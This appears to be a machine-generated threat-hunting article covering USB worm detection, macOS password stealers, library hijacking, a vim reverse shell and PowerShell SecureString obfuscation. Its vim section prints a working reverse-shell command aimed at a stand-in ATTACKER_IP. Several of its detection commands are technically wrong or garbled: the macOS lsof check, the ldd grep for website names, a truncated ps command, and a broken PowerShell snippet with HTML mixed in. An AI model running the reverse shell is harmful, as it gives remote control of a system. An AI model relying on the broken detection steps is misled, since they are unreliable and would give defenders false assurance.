Advanced Threat Hunting Techniques: USB Worms, macOS Stealers, and More

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Introduction

Threat hunting is a proactive approach to cybersecurity, where defenders actively search for malicious activity within their networks. This article explores advanced techniques, including USB worm detection, macOS password stealers, and reverse shell exploits, based on insights from Wietze Beukema’s HuntingTipOfTheDay series.

Learning Objectives

  • Detect and mitigate USB-based worm attacks in modern environments.
  • Identify macOS password stealers and info-gathering malware.
  • Analyze LOLBAS (Living Off the Land Binaries and Scripts) abuse via hijacklibs.net and lolrmm.io.
  • Understand reverse shell techniques via vi/vim and PowerShell obfuscation.

1. Detecting USB Worm Propagation in 2025

Command (Windows Event Log Query):

Get-WinEvent -LogName "Microsoft-Windows-DriverFrameworks-UserMode/Operational" | 
Where-Object { $<em>.Id -eq 2100 -or $</em>.Id -eq 2101 } | 
Format-Table -AutoSize

Steps:

  1. This command checks for USB device insertion/removal events (Event IDs 2100/2101).
  2. Monitor unexpected USB activity, especially from unknown vendors (e.g., `DeviceDescriptor` fields).
  3. Correlate with process creation logs (Sysmon Event ID 1) to detect malicious payload execution.

2. Identifying macOS Password Stealers

Command (macOS Terminal):

sudo lsof -iTCP -sTCP:LISTEN | grep -E '(LastPass|1Password|Keychain)'

Steps:

  1. Lists processes listening on TCP ports associated with password managers.
  2. Investigate unexpected processes (e.g., `keychaind` spawning network connections).
  3. Use `ps aux | grep 
    ` to trace parent processes. </li>
</ol>

<h2 style="color: yellow;"> 3. LOLBAS and RMM Tool Abuse</h2>

<h2 style="color: yellow;">Command (Linux - Detecting Hijacked Libraries):</h2>

[bash]
ldd /usr/bin/common_binary | grep -i 'hijacklibs|lolrmm'

    Steps:

    1. Checks for malicious library injections in common binaries (e.g., curl, python).
    2. Cross-reference with lolrmm.io for known RMM tools.

    3. Mitigate by restricting `LD_PRELOAD` and auditing `ld.so.conf`.

    4. Reverse Shells via vi/vim

    Command (Attack Simulation – Malicious vim Macro):

    :!bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

    Steps:

    1. Attackers embed reverse shells in vim macros or config files (.vimrc).
    2. Detect via process monitoring (ps -ef | grep vim).

    3. Restrict vim’s shell capabilities with `:set secure`.

    5. PowerShell SecureString Obfuscation

    Command (PowerShell – Decoding Obfuscated Strings):

    $encrypted = "76492d1116743f0423413b16050a5345" 
$secure = ConvertTo-SecureString -String $encrypted -Key (1..16) 
$decrypted = <a href=":SecureStringToBSTR($secure)">System.Runtime.InteropServices.Marshal</a>::PtrToStringAuto(

    Steps:

    1. Attackers use `SecureString` to hide payloads.

    2. Decode with known keys or memory analysis.

    3. Log `ConvertTo-SecureString` usage via PowerShell transcription.

    What Undercode Say

    • Key Takeaway 1: USB worms remain a threat in 2025 due to legacy device trust models.
    • Key Takeaway 2: macOS stealers leverage poorly sandboxed password managers.
    • Analysis: The shift toward LOLBAS and RMM tools (e.g., lolrmm.io) reflects attackers’ preference for stealth. Detection engineers must prioritize behavioral analytics over static IOCs.

    Prediction

    By 2026, USB worms will evolve to exploit firmware vulnerabilities, while macOS stealers will target biometric data. Proactive hunting will require deeper hardware-level visibility and AI-driven anomaly detection.

    References:

    IT/Security Reporter URL:

    Reported By: Wjbbeukema Hunting – Hackers Feeds
    Extra Hub: Undercode MoN
    Basic Verification: Pass ✅

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